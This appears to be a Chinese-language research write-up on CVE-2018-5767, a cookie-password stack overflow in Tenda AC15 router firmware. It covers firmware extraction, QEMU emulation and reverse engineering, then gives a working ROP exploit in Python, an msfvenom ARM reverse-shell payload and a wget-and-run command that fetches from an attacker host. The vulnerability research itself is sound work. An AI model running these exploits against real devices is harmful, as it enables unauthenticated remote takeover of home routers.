CVE-2018-5767

搭建环境

解压&查看文件系统

unrar e US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar

使用binwalk

这里有两种方式:

1.直接用binwalk进行分离

binwalk -Me --run-as=root US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

2.先用binwalk进行分析,然后用unsquash提取Squashfs文件系统的镜像文件

# binwalk US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin                                 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size: 10227712 bytes, CRC32: 0x314DBDAC, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x198CDC, rootfs offset: 0x0
92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4114848 bytes
1674524       0x198D1C        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8549574 bytes, 741 inodes, blocksize: 131072 bytes, created: 2015-11-19 09:36:43

# dd if=US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin bs=1 count=8549574 skip=1674524 of=image

8549574+0 records in
8549574+0 records out
8549574 bytes (8.5 MB, 8.2 MiB) copied, 15.5254 s, 551 kB/s

# unsquashfs image                                   
Parallel unsquashfs: Using 16 processors
673 inodes (653 blocks) to write

[==================================================================================|] 1326/1326 100%

created 495 files
created 68 directories
created 175 symlinks
created 3 devices
created 0 fifos
created 0 sockets
created 0 hardlinks

第二条指令的解释

if 参数设置输入的文件,bs 是输入输出块的大小,count 是输入输出块的个数(抽取的总字节数可以理解为 bs * count),skip 是从文件头开始的偏移量,of 指定输出字节的保存位置

然后查看Linux 上的BusyBox

1、路由器基本都是阉割版的linux系统
2、架构以MIPS和ARM为主
3、一般含有telnet服务
4、很多基础命令以busybox的方式实现(如cat,chmod,date,echo,ifconfig,ls,kill等)

file ./bin/busybox && checksec ./bin/busybox

了解到架构信息为32位的ARM,字端序为LSB

注:这里想起来之前学长有推荐过firmware-analysis-plus,在看FAP的时候看到一篇Freebuf的文章,里面在FAP的基础上还需进行hook一些可能会导致报错的启动函数、补充库函数等的操作,以后有机会研究,以及放上相关的issue

代码分析

使用QEMU进行IOT固件的虚拟环境搭建

cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd	#切换root路径并进入ARM环境

这里卡在了Welcome to界面

参考这篇文章,等会另开一个terminal,使用IDA+QEMU remote

使用keypatch(IDA7.5Pro自带该plugin,快捷键Ctrl+Alt+K),patch完记得Apply patches to input file

patch直接贴图了,修改的地方只有一处,后面搭建环境会解释,看流程图也很简单清楚

发现出现以下字样

[httpd][debug]----------------------------webs.c,157
httpd listen ip = 255.255.255.255 port = 80
webs: Listening for HTTP requests at address 36.0.128.64

BackTrace_1th

回到IDA进行backtrace,对目标函数按x查看其交叉调用

int __fastcall sub_1A36C(const char *a1, int a2, int a3, char a4)
{
  ...
  char *v8;
  int v9;
  uint16_t v12;
  ...
  struct sockaddr s;
  ...

  v12 = a2;
  ...
  *(_WORD *)s.sa_data = htons(v12);
  if ( a1 )
    *(_DWORD *)&s.sa_data[2] = inet_addr(a1);
  else
    *(_DWORD *)&s.sa_data[2] = 0;
  ...
  v8 = inet_ntoa(*(struct in_addr *)&s.sa_data[2]);
  v9 = ntohs(*(uint16_t *)s.sa_data);
  printf("httpd listen ip = %s port = %d\n", v8, v9);
  ...
}

确定部分执行流程

sub_2CEA8()// init func
	sub_2D3F0()
		sub_28030(port, retries)
			sub_28338(a1, a2)	//a1 = port || a2 = retries
				sub_1A36C(v8, a1, websAccept, 0) //v8 = g_lan_ip

这里查阅相关资料,介绍了inet_ntoa和inet_addr函数的作用

in_addr结构表示 IPv4 Internet 地址

inet_ntoa函数将 (Ipv4) Internet 网络地址转换为采用 Internet 标准点十进制格式的 ASCII 字符串

inet_addr函数将包含 IPv4 dotted-decimal 地址的字符串转换为IN_ADDR结构的正确地址

ntohs函数可用于将网络字节顺序中的 IP 端口号转换为主机字节顺序中的 IP 端口号

追踪a1->v8->g_lan_ip,其赋值在loc_2D174处出现

v6 = getLanIfName(v4, v5);
if ( getIfIp(v6, v16) < 0 )
{
	GetValue("lan.ip", s);
	strcpy(g_lan_ip, s);
	memset(v15, 0, sizeof(v15));
	if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v15) && v15[0] )
		vos_strcpy(g_lan_ip, v15);
}
else
{
	vos_strcpy(g_lan_ip, v16);
}

猜测getIfIp给v16赋值,后面g_lan_ip正常情况下赋值受v16影响

由于getIfIp为外部调用函数,先找到动态链接库so然后查看其函数原型

#readelf -d ./bin/httpd | grep NEEDED
0x00000001 (NEEDED)                     Shared library: [libCfm.so]
0x00000001 (NEEDED)                     Shared library: [libcommon.so]
0x00000001 (NEEDED)                     Shared library: [libChipApi.so]
0x00000001 (NEEDED)                     Shared library: [libvos_util.so]
0x00000001 (NEEDED)                     Shared library: [libz.so]
0x00000001 (NEEDED)                     Shared library: [libpthread.so.0]
0x00000001 (NEEDED)                     Shared library: [libnvram.so]
0x00000001 (NEEDED)                     Shared library: [libshared.so]
0x00000001 (NEEDED)                     Shared library: [libtpi.so]
0x00000001 (NEEDED)                     Shared library: [libm.so.0]
0x00000001 (NEEDED)                     Shared library: [libgcc_s.so.1]
0x00000001 (NEEDED)                     Shared library: [libc.so.0]


#grep "getIfIp" lib/*.so | nm -D lib/*.so | grep "getIfIp"
grep: lib/libcommon.so: binary file matches
grep: lib/libtpi.so: binary file matches
grep: lib/libxx.so: binary file matches
00003f68 T getIfIp		#T或t:代码段的数据,也就是在.text段
         U getIfIp
         U getIfIp		#U:符号未定义

该函数原型为

int __fastcall getIfIp(const char *a1, char *a2)
{
  int v2;
  char *v3;
  char dest[20];
  struct in_addr v8;
  int fd;

  fd = socket(2, 2, 0);
  if ( fd < 0 )
    return -1;
  strncpy(dest, a1, 0x10u);
  if ( ioctl(fd, 0x8915u, dest) >= 0 )	//define SIOCGIFADDR 0x8915 (get PA addr)
  {
    v3 = inet_ntoa(v8);
    strcpy(a2, v3);		//ASCIIStrings(v8.addr)->v3->a2
    close(fd);
    v2 = 0;
  }
  else
  {
    close(fd);
    v2 = -1;
  }
  return v2;
}

再回到上面看v6取值,查看getLanIfName()函数原型

//v6 = getLanIfName(v4, v5);
int getLanIfName()
{
  return get_eth_name(0);
}

get_eth_name存在于libChipApi.so中,查看其函数原型

const char *__fastcall get_eth_name(int a1)
{
  const char *v1;

  switch ( a1 )
  {
    case 0:
      v1 = "br0";
    ...
    default:
      v1 = (const char *)&unk_5988;
      break;
  }
  return v1;
}

总结:get_eth_name(0)->getLanIfName()->v6->getIfIp(v6, v16)->v16

BackTrace_2nd

让我们回到最初patch的地方

#grep "check_network" lib/*.so | nm -D lib/*.so | grep "check_network"
grep: lib/libcommon.so: binary file matches
000041c8 T check_network
0000684c T check_network_and_wait

在lib/libcommon.so中找到check_network函数原型

bool __fastcall check_network(int a1)
{
  int v1;
  v1 = j_getLanIfName(); 
  //j_getLanIfName(void)->getLanIfName()->get_eth_name(0)
  return j_getIfIp(v1, a1) >= 0;
  //j_getIfIp(int a1, int a2)->getIfIp(a1, a2)
}

在BT1th中均有介绍相关函数原型,不再赘述,配置br0网卡后无需关心

BackTrace_3rd

接着是在lib/libCfm.so找到ConnectCfm

#grep "ConnectCfm" lib/*.so | nm -D lib/*.so | grep "ConnectCfm"
grep: lib/libCfm.so: binary file matches
00003490 T ConnectCfm

ConnectCfm函数原型为

int ConnectCfm()
{
  int v0;

  fd_mib = j_ConnectServer();
  //j_ConnectServer()->ConnectServer()
  if ( fd_mib > 0 )
  {
    j_SetTimeout(fd_mib);
    v0 = 1;
  }
  else
  {
    puts("Connect to server failed.");
    v0 = 0;
  }
  return v0;
}

ConnectServer函数原型如下,这里用到的是socket编程–sockaddr_in结构体操作

int ConnectServer()
{
  sockaddr_un server_sockaddr;
  int len;
  int fd;
  
  //socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  fd = socket(1, 1, 0);
  if ( fd < 0 )
    return fd;
  len = 110;
  memset(&server_sockaddr, 0, sizeof(server_sockaddr));
  server_sockaddr.sun_family = 1;//猜测地址族AF_INET = 1	
  strncpy((char *)server_sockaddr.sun_path, "/var/cfm_socket", 0x6Bu);
  //connect函数建立与指定套接字的连接
  if ( connect(fd, (const struct sockaddr *)&server_sockaddr, len) != -1 )
    return fd;
  perror("connect");
  close(fd);
  return -1;
  //当套接字创建成功时,返回套接字;失败则返回“-1”,错误代码写入“errno”中
}

这里/var/cfm_socket实在是不懂。。。选择patch

配置br0网卡

想偷懒建卡,结果运行直接segmentation fault,我错了。。老老实实配置网络环境

修改 /etc/network/interfaces 网卡配置文件

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth3
iface eth3 inet manual
 
auto br0
iface br0 inet static
address 192.168.20.12
netmask 255.255.255.0
gateway 192.168.20.2
  bridge_ports eth3 
  bridge_stp off
  bridge_maxwait 0

/etc/qemu-ifup中添加如下内容

#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3

然后配置网卡并重启服务

sudo chmod a+x /etc/qemu-ifup
sudo /etc/init.d/networking restart
sudo ifup br0

小插曲

访问192.168.20.12却返回Bad Request,找到大佬的解决方法

cp -rf ./webroot_ro/* ./webroot/

刷新后成功访问到主页

开始调试

sudo chroot ./ ./qemu -g 1234 ./bin/httpd
sudo gdb-multiarch ./bin/httpd

pwndbg> target remote:1234
pwndbg> c

漏洞细节及原理

An issue was discovered on Tenda AC15 V15.03.1.16_multi devices. A remote, unauthenticated attacker can gain remote code execution on the device with a crafted password parameter for the COOKIE header.

https://fidusinfosec.com/remote-code-execution-cve-2018-5767/

https://paper.seebug.org/2065/

https://www.mrskye.cn/archives/266/

https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767

https://yuanbaoder.gitee.io/posts/b5b.html

https://www.iotsec-zone.com/article?id=215

了解到这个WebServer用的GoAhead框架,该固件所用GoAhead框架的版本为2.1.8,github上有老哥留档

char *__fastcall sub_2A0B4(int a1)
{
  ...
  sub_16E9C(&v9, 254, "%s/%s", "Http Server", "2.1.8");
  ...
}

查阅源码如下

GoAhead源码分析

首先将几个主要的结构体加入,因为下面分析过程中会有涉及

在IDA中通过头文件导入结构体以方便分析

View->Open Subviews->Local Types(SHIFT+F1)->Insert

整理后的结构体如下

typedef char char_t;
typedef int sym_fd_t;

// ./goahead/v2.18/ws031202/uemf.h
typedef struct {
       unsigned char *buf;         /* Holding buffer for data */
       unsigned char *servp;       /* Pointer to start of data */
       unsigned char *endp;        /* Pointer to end of data */
       unsigned char *endbuf;      /* Pointer to end of buffer */
       int buflen;                 /* Length of ring queue */
       int maxsize;                /* Maximum size */
       int increment;              /* Growth increment */
} ringq_t;

// ./goahead/v2.18/ws031202/webs.h
typedef struct websRec {
	ringq_t			header;				/* Header dynamic string */
	time_t			since;				/* Parsed if-modified-since time */
	sym_fd_t		cgiVars;			/* CGI standard variables */
	sym_fd_t		cgiQuery;			/* CGI decoded query string */
	time_t			timestamp;			/* Last transaction with browser */
	int				timeout;			/* Timeout handle */
	char_t			ipaddr[32];			/* Connecting ipaddress */
	char_t			type[64];			/* Mime type */
	char_t			*dir;				/* Directory containing the page */
	char_t			*path;				/* Path name without query */
	char_t			*url;				/* Full request url */
	char_t			*host;				/* Requested host */
	char_t			*lpath;				/* Cache local path name */
	char_t			*query;				/* Request query */
	char_t			*decodedQuery;		/* Decoded request query */
	char_t			*authType;			/* Authorization type (Basic/DAA) */
	char_t			*password;			/* Authorization password */
	char_t			*userName;			/* Authorization username */
	char_t			*cookie;			/* Cookie string */
	char_t			*userAgent;			/* User agent (browser) */
	char_t			*protocol;			/* Protocol (normally HTTP) */
	char_t			*protoVersion;		/* Protocol version */
	int				sid;				/* Socket id (handler) */
	int				listenSid;			/* Listen Socket id */
	int				port;				/* Request port number */
	int				state;				/* Current state */
	int				flags;				/* Current flags -- see above */
	int				code;				/* Request result code */
	int				clen;				/* Content length */
	int				wid;				/* Index into webs */
	char_t			*cgiStdin;			/* filename for CGI stdin */
	int				docfd;				/* Document file descriptor */
	int				numbytes;			/* Bytes to transfer to browser */
	int				written;			/* Bytes actually transferred */
	void			(*writeSocket)(struct websRec *wp);
} websRec;

typedef websRec	*webs_t;
typedef websRec websType;

// ./goahead/v2.18/ws031202/wsIntrn.h
typedef struct {
	int		(*handler)(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
			char_t *url, char_t *path, 
			char_t *query);					/* Callback URL handler function */
	char_t	*webDir;						/* Web directory if required */
	char_t	*urlPrefix;						/* URL leading prefix */
	int		len;							/* Length of urlPrefix for speed */
	int		arg;							/* Argument to provide to handler */
	int		flags;							/* Flags */
} websUrlHandlerType;

简化版的initWebs函数原型,省略号里面都是一些初始化操作

// ./goahead/v2.18/ws031202/webs.h
/*
 *	URL handler flags
 */
#define WEBS_HANDLER_FIRST	0x1			/* Process this handler first */
#define WEBS_HANDLER_LAST	0x2			/* Process this handler last */

// ./goahead/v2.18/ws031202/LINUX/main.c
static int initWebs()
{
	...
/*
 * 	First create the URL handlers. 
 *	Note: handlers are called in sorted order with the longest path handler examined first.
 *	Here we define the security handler, forms handler and the default web page handler.
 */
	websUrlHandlerDefine(T(""), NULL, 0, websSecurityHandler,WEBS_HANDLER_FIRST);
	websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
	websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
	websUrlHandlerDefine(T(""), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST);
	...
	return 0;
}

查看原生的websSecurityHandler函数,没什么太大的参考价值,基本都被魔改了

// ./goahead/v2.18/ws031202/security.c
int websSecurityHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
						char_t *url, char_t *path, char_t *query)
{
	...
}

下面为websUrlHandlerDefine函数原型

// ./goahead/v2.18/ws031202/uemf.h
...
#endif /* VXWORKS #elif LYNX || LINUX || MACOSX || SOLARIS*/
...
#define gstrcmp	strcmp
...

// ./goahead/v2.18/ws031202/wsIntrn.h
/*
 *	URL handler structure. Stores the leading URL path and the handler
 *	function to call when the URL path is seen.
 */ 
typedef struct {
	int		(*handler)(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
			char_t *url, char_t *path, 
			char_t *query);					/* Callback URL handler function */
	char_t	*webDir;						/* Web directory if required */
	char_t	*urlPrefix;						/* URL leading prefix */
	int		len;							/* Length of urlPrefix for speed */
	int		arg;							/* Argument to provide to handler */
	int		flags;							/* Flags */
} websUrlHandlerType;

// ./goahead/v2.18/ws031202/handler.c
/*********************************** Locals ***********************************/
static websUrlHandlerType	*websUrlHandler;			/* URL handler list */
static int					websUrlHandlerMax;			/* Number of entries */
/*
 *	Define a new URL handler. urlPrefix is the URL prefix to match.  
 *	webDir is an optional root directory path for a web directory. 
 *	arg is an optional arg to pass to the URL handler. 
 *	flags defines the matching order.
 *	Valid flags include WEBS_HANDLER_LAST, WEBS_HANDLER_FIRST.  
 *	If multiple users specify last or first,  
 *	their order is defined alphabetically by the urlPrefix.
 */
int websUrlHandlerDefine(char_t *urlPrefix, char_t *webDir, int arg,int (*handler)(webs_t wp, char_t *urlPrefix, char_t *webdir, int arg, char_t *url, char_t *path, char_t *query), int flags)
{
	websUrlHandlerType	*sp;
	int					len;

	a_assert(urlPrefix);
	a_assert(handler);

/*
 *	Grow the URL handler array to create a new slot
 */
	len = (websUrlHandlerMax + 1) * sizeof(websUrlHandlerType);
	if ((websUrlHandler = brealloc(B_L, websUrlHandler, len)) == NULL) {
		return -1;
	}
	sp = &websUrlHandler[websUrlHandlerMax++];
	memset(sp, 0, sizeof(websUrlHandlerType));
	
    //bstrdup() returns a pointer to a newly allocated copy of string.
	sp->urlPrefix = bstrdup(B_L, urlPrefix);
	sp->len = gstrlen(sp->urlPrefix);
	if (webDir) {
		sp->webDir = bstrdup(B_L, webDir);
	} else {
		sp->webDir = bstrdup(B_L, T(""));
	}
	sp->handler = handler;
	sp->arg = arg;
	sp->flags = flags;

/*
 *	Sort in decreasing URL length order observing the flags for first and last
 */
	qsort(websUrlHandler, websUrlHandlerMax, sizeof(websUrlHandlerType), 
		websUrlHandlerSort);
	return 0;
}

static int websUrlHandlerSort(const void *p1, const void *p2)
{
	websUrlHandlerType	*s1, *s2;
	int					rc;

	a_assert(p1);
	a_assert(p2);

	s1 = (websUrlHandlerType*) p1;
	s2 = (websUrlHandlerType*) p2;

	if ((s1->flags & WEBS_HANDLER_FIRST) || (s2->flags & WEBS_HANDLER_LAST)) {
		return -1;
	}
	if ((s2->flags & WEBS_HANDLER_FIRST) || (s1->flags & WEBS_HANDLER_LAST)) {
		return 1;
	}
	if ((rc = gstrcmp(s1->urlPrefix, s2->urlPrefix)) == 0) {
		if (s1->len < s2->len) {
			return 1;
		} else if (s1->len > s2->len) {
			return -1;
		}
	}
	return -rc; 
}

comparison function which returns a negative integer value if the first argument is less than the second, a positive integer value if the first argument is greater than the second and zero if the arguments are equivalent.

如果compare返回值< 0,那么p1所指向元素会被排在p2所指向元素的前面

如果compare返回值= 0,那么p1所指向元素与p2所指向元素的顺序不确定

如果compare返回值> 0,那么p1所指向元素会被排在p2所指向元素的后面

贴上修改函数名后的部分代码

websUrlHandlerDefine(byte_B38D4, 0, 0, (int)R7WebsSecurityHandler, 1);
websUrlHandlerDefine("/goform", 0, 0, (int)websFormHandler, 0);
websUrlHandlerDefine("/cgi-bin", 0, 0, (int)webs_Tenda_CGI_BIN_Handler, 0);
websUrlHandlerDefine(byte_B38D4, 0, 0, (int)websDefaultHandler, 2);
sub_3FBF0();	//初步判断为一个goform的后缀表单
websUrlHandlerDefine("/", 0, 0, (int)sub_2D698, 0);

所以实际应用场景initWebs()函数定义的websUrlHandler大致处理顺序为

R7WebsSecurityHandler->(judged by url prefix,'/cgi-bin'or'/goform'or'/')->default

这里主要分析漏洞相关函数的运行逻辑,从相关源码看出,websUrlHandlerDefine会根据用户当前访问的URL前缀来寻找对应处理的Handler。例如,如果访问路径以/goform开头,就会转至websFormHandler处理

websUrlHandlerDefine("/goform", 0, 0, (int)websFormHandler, 0);

至此,相关简单函数调用步骤分析结束,如需要深入分析其运行流程可参考这篇

R7WebsSecurityHandler

存在漏洞处:

if ( a1->cookie )
    {
      v38 = strstr(a1->cookie, "password=");
      if ( v38 )
        sscanf(v38, "%*[^=]=%[^;];*", v31);
      else
        sscanf(a1->cookie, "%*[^=]=%[^;];*", v31);
    }

sscanf函数所用的正则表达式中,%*[^=]表示将匹配到的非=字符丢弃,%[^;]表示匹配到的非;字符,所以该正则表达式%*[^=]=%[^;];匹配的字符为password=后的值,这里用一个demo演示下

#include <stdio.h>

int main(int argc, char** argv) 
{
    char a[] = "password=|divide|123456;";
    char b[256] = {0};
    sscanf(a,"%*[^=]=%[^;];",b);
    printf("%s",b);
	return 0;
}

//	Output:|divide|123456

在到达该漏洞点之前还有一长串判断条件,这里直接借用其他师傅的图,简单明了。

图:

注意,下面使用自制PoC时URL前缀必须是实际存在的,我开始使用/test/test测试的时候老是想不明白为什么这个路径不行,没注意到判断条件中实际上已经存在该判断,但需要修改数据类型为*websRec a1,才能清楚得知该判断条件

	...
if ( strncmp(s1, "/public/", 8u)
    && strncmp(s1, "/lang/", 6u)
    && !strstr(s1, "img/main-logo.png")
    && !strstr(s1, "reasy-ui-1.0.3.js")
    && strncmp(s1, "/favicon.ico", 0xCu)
    && a1->url	// "new" condition
    && strncmp(s1, "/kns-query", 0xAu)
    && strncmp(s1, "/wdinfo.php", 0xBu)
    && (strlen(s1) != 1 || *s1 != '/')
    && (strncmp(s1, "/goform/telnet", 0xEu) || g_Pass && strcmp(&g_Pass, "YWRtaW4="))
    && strncmp(s1, "/goform/fast_setting", 0x14u)
    && strncmp(s1, "/goform/ate", 0xBu)
    && strncmp(s1, "/goform/InsertWhite", 0x13u)
    && strncmp(s1, "/yun_safe.html", 0xEu)
    && strncmp(s1, "/goform/getWanConnectStatus", 0x1Bu)
    && strncmp(s1, "/goform/getProduct", 0x12u)
    && strncmp(s1, "/goform/getRebootStatus", 0x17u)
    && (i <= 2 || strncmp(s1, "/loginerr.html", 0xEu)) )
  { 
  	...
  }

简单PoC为

import requests
url = "http://192.168.20.12/login.html"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)

立马有了Segmentation fault

Program received signal SIGSEGV, Segmentation fault.
0x3fe23954 in strstr () from /root/Desktop/squashfs-root/lib/libc.so.0

pwndbg> bt
#0  0x3fe23954 in strstr () from /root/Desktop/squashfs-root/lib/libc.so.0
#1  0x0002c5cc in ?? ()

查看0x2c5cc前汇编

.text:0002C568 sub_2C568
...
.text:0002C5AC                 STR             R3, [R11,#var_18]
.text:0002C5B0                 LDR             R3, [R11,#var_18]
.text:0002C5B4                 STR             R3, [R11,#var_14]
.text:0002C5B8                 LDR             R0, [R11,#haystack] ; haystack
.text:0002C5BC                 LDR             R3, =(aHttp_1 - 0xD23AC) ; "http://"
.text:0002C5C0                 ADD             R3, R4, R3 ; "http://"
.text:0002C5C4                 MOV             R1, R3  ; needle
.text:0002C5C8                 BL              strstr
.text:0002C5CC                 MOV             R3, R0
...

再查看该sub_2C568在R7WebsSecurityHandler中的调用条件

char v31[128];  // [sp+304h] [bp-1C0h]
void *v40;		// [sp+4A0h] [bp-24h]
...
memcpy(s, s1, 0xFFu);
...
if ( strlen(s) <= 3
      || (v40 = strchr(s, 46)) == 0		// 46 -> '.'
      || (v40 = (char *)v40 + 1, memcmp(v40, "gif", 3u))
      && memcmp(v40, "png", 3u)
      && memcmp(v40, "js", 2u)
      && memcmp(v40, "css", 3u)
      && memcmp(v40, "jpg", 3u)
      && memcmp(v40, "jpeg", 3u) )
    {
      if ( !v42 )
      {
        ...
      }
      if ( i > 2 )
      {
        ...
        if ( g_Pass )
        {
          ...
          for ( i = 0; i <= 2; ++i )
          {
            if ( !*((_BYTE *)&loginUserInfo + 36 * i) )
            {
              ...
              goto LABEL_113;
            }
          }
          if ( i != 3 )
            goto LABEL_113;

LABEL_113:
          ...
          sub_2C568((int)a1, v22, (int)v31, 1);
          ...
          return 0;
        }

可以借助在URL中加入.png的特殊字符串以跳出循环,然后通过构造的ROP链进行GetShell。但这里v31为我们输入的password值,必然会覆盖v40,只需在password值后加上特定后缀即可

贴上一篇ARM漏洞挖掘基础

使用新的payload判断offset长度

pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

new PoC

import requests
ip = "192.168.20.12"
url = "http://%s/login.html"%ip
offset = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"
cookie = {"Cookie":"password="+offset+'.png'}
r = requests.get(url=url, cookies=cookie)

收到Segmentation fault

Program received signal SIGSEGV, Segmentation fault.
0x6561616c in ?? ()
...
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 R0   0x0
*R1   0xb3cf7 ◂— ldr    r0, [r0, #0x20] /* 0x736a00 */
*R2   0x67
 R3   0x0
*R4   0x65616169 ('iaae')
*R5   0x6561616a ('jaae')
*R6   0x6561616b ('kaae')
*R7   0x4080078a ◂— cmp    r7, #0x2e /* 0x69622f2e; './bin/httpd' */
*R8   0xd938 (_init) ◂— stm    r0!, {r0, r2, r3} /* 0xe1a0c00d */
*R9   0x2cea8 ◂— ldr    r0, [pc, #0x40] /* 0xe92d4810 */
*R10  0x408005f8 ◂— 0
*R11  0x6561616c ('laae')
*R12  0x407ffbe3 ◂— lsls   r7, r4, #1 /* 0x2910067; 'g' */
*SP   0x407ffbb0 ◂— str    r6, [r5, #0x14] /* 0x6561616e; 'naaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae.png' */
*PC   0x6561616c ('laae')

看到覆盖return addr后的PC值为0x6561616c

本来应该用cyclic查看其偏移长度

pwndbg> cyclic -l laae
444

但需注意

这里涉及到ARM模式(LSB=0)和Thumb模式(LSB=1)的切换,栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。此时在gdb中执行p/t $cpsr以二进制格式显示CPSR寄存器。如下图所示,发现T位值为1,因此需要在之前报错的地址上加一还原为0x6561616f (“maae”)

重新计算偏移长度

pwndbg> cyclic -l maae
448

offset length已知,PC可控,接下来开始构造ROP

漏洞验证

POC

checksec

# checksec ./bin/httpd 
[*] '/root/Desktop/squashfs-root/bin/httpd'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

使用ROPGadget

# ROPgadget --binary ./lib/libc.so.0 --only "pop"            
Gadgets information
============================================================
...
0x00018298 : pop {r3, pc}

# ROPgadget --binary ./lib/libc.so.0 |grep "mov r0, sp ; blx"
Gadgets information
============================================================
...
0x00040cb8 : mov r0, sp ; blx r3

pwndbg> print __libc_system
$2 = {<text variable, no debug info>} 0x3fe3f270 <system>

pwndbg> info symbol __libc_system
system in section .text of /root/Desktop/squashfs-root/lib/libc.so.0

# nm -D lib/libc.so.0 | grep "system" 
...
0005a270 W system

ROP流程为

payload = offset(448)

cyclic444个字符加上.png正好为448的偏移

payload += pop_r3_pc_iaddr + system_faddr + mov_r0_sp_blx_r3_iaddr

第一个gadget先让PC指向pop {r3, pc},把system_faddr的值pop到r3中,并将下一条指令mov r0, sp ; blx r3的地址pop到PC中,这样就完成了程序流的控制

payload += cmd

第二个gadget执行的mov r0, sp ; blx r3指令将当前栈顶指针SP指向的cmd值pop到r0中,r0为传参的第一个寄存器,最后通过分支控制指令blx执行system函数

代码如下

from pwn import *
import requests
context.log_level='debug'

ip = "192.168.20.12"
url = "http://%s/login.html"%ip
cmd = "echo hack"
off_len = 444
sys_addr = 0x5a270
libc_base = 0x3fde5000 #0x3fe3f270 - 0x5a270
pop_r3_pc = 0x18298
mov_r0_sp_blx_r3 = 0x40cb8

payload = cyclic(off_len) +'.png' #	444 + 4 = 448 offset
payload += p32(libc_base +pop_r3_pc) + p32(libc_base + sys_addr) + p32(libc_base + mov_r0_sp_blx_r3)
payload += cmd
cookie = {"Cookie":"password="+payload}
requests.get(url=url, cookies=cookie)

EXP

与CTF不同的是,对于这种网络服务,进行溢出后进行ROP泄露地址再ret2libc的方法并不好用

  1. 泄露地址后往往需要返回main函数重新输入溢出数据,但是由于配置等问题可能导致失败
  2. 泄露地址不能通过puts等标准输出函数,而是需要向与用户连接的socket中输出

而其实对于该路由器而言

  1. 栈地址与堆地址都是随机的(如果用qemu模拟环境可能是固定的),不能直接使用libc中的gadget
  2. 开启了NX保护不能使用shellcode
  3. 没有开启pie保护,程序基址还是固定的
  4. 由于路由器为arm架构,程序中固定的地址最高位基本都是x00

考虑用MSF来反弹Shell

攻击机上命令为

msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.154.128 LPORT=4444 -f elf > payload.elf

payload中的cmd为

wget http://192.168.154.128:8000/payload.elf && chmod +x * && ./payload.elf

msfconsole命令为

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lhost 192.168.154.128
run

BooFuzz

待更新学习记录

https://blog.csdn.net/song_lee/article/details/104334096

https://www.fatalerrors.org/a/0dVx2Ds.html

https://p1kk.github.io/2021/03/29/iot/Tenda AC15 CVE-2018-5767 CVE-2020-10987/

Q.E.D.


怀着一颗虔诚谦虚的心学习